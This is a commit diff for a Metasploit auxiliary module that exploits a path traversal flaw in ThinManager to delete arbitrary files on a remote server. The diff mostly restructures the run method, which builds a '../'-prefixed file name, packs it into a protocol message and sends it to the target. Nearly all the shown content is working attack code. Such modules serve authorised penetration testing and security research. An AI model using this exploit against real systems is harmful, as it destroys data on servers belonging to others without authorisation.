Skip to content

Commit 2425eb0

Browse files
committed
Update thinmanager_traversal_delete.rb
1 parent c29efa3 commit 2425eb0

File tree

1 file changed

+29
-30
lines changed

1 file changed

+29
-30
lines changed

modules/auxiliary/admin/networking/thinmanager_traversal_delete.rb

Lines changed: 29 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -111,43 +111,42 @@ def run
111111
vprint_status(Rex::Text.to_hex_dump(res))
112112
else
113113
print_error('No handshake response received.')
114-
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
115-
116-
begin
117-
fname = datastore['FILE']
118-
traversal = '../' * 7
119-
full_fname = traversal + fname
120-
full_fname = full_fname.gsub(%r{/+}, '/')
114+
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.")
115+
end
121116

122-
data = [0xaa].pack('N')
123-
data << "unk_str1\x00"
124-
data << [1].pack('N')
125-
data << full_fname.encode('ASCII') + "\x00"
117+
begin
118+
fname = datastore['FILE']
119+
traversal = '../' * 7
120+
full_fname = traversal + fname
121+
full_fname = full_fname.gsub(%r{/+}, '/')
126122

127-
req = mk_msg(21, 0x0021, data)
128-
rescue StandardError => e
129-
fail_with(Failure::BadConfig, "Failed to construct request: #{e.class} - #{e.message}")
130-
end
123+
data = [0xaa].pack('N')
124+
data << "unk_str1\x00"
125+
data << [1].pack('N')
126+
data << full_fname.encode('ASCII') + "\x00"
131127

132-
vprint_status(Rex::Text.to_hex_dump(req))
128+
req = mk_msg(21, 0x0021, data)
129+
rescue StandardError => e
130+
fail_with(Failure::BadConfig, "Failed to construct request: #{e.class} - #{e.message}")
131+
end
133132

134-
print_status("Deleting #{fname} from #{datastore['RHOSTS']}")
135-
sock.put(req)
133+
vprint_status(Rex::Text.to_hex_dump(req))
136134

137-
begin
138-
res = sock.get
139-
if res
135+
print_status("Deleting #{fname} from #{datastore['RHOSTS']}")
136+
sock.put(req)
140137

141-
print_good('Received response from target.')
142-
vprint_status(Rex::Text.to_hex_dump(res)) if res
143-
else
144-
print_error('No response received from target.')
145-
end
146-
rescue StandardError => e
147-
fail_with(Failure::TimeoutExpired, "Failed to receive response: #{e.class} - #{e.message}")
148-
ensure
149-
disconnect
138+
begin
139+
res = sock.get
140+
if res
141+
print_good('Received response from target.')
142+
vprint_status(Rex::Text.to_hex_dump(res)) if res
143+
else
144+
print_error('No response received from target.')
150145
end
146+
rescue StandardError => e
147+
fail_with(Failure::TimeoutExpired, "Failed to receive response: #{e.class} - #{e.message}")
148+
ensure
149+
disconnect
151150
end
152151
end
153152
end

0 commit comments

Comments
 (0)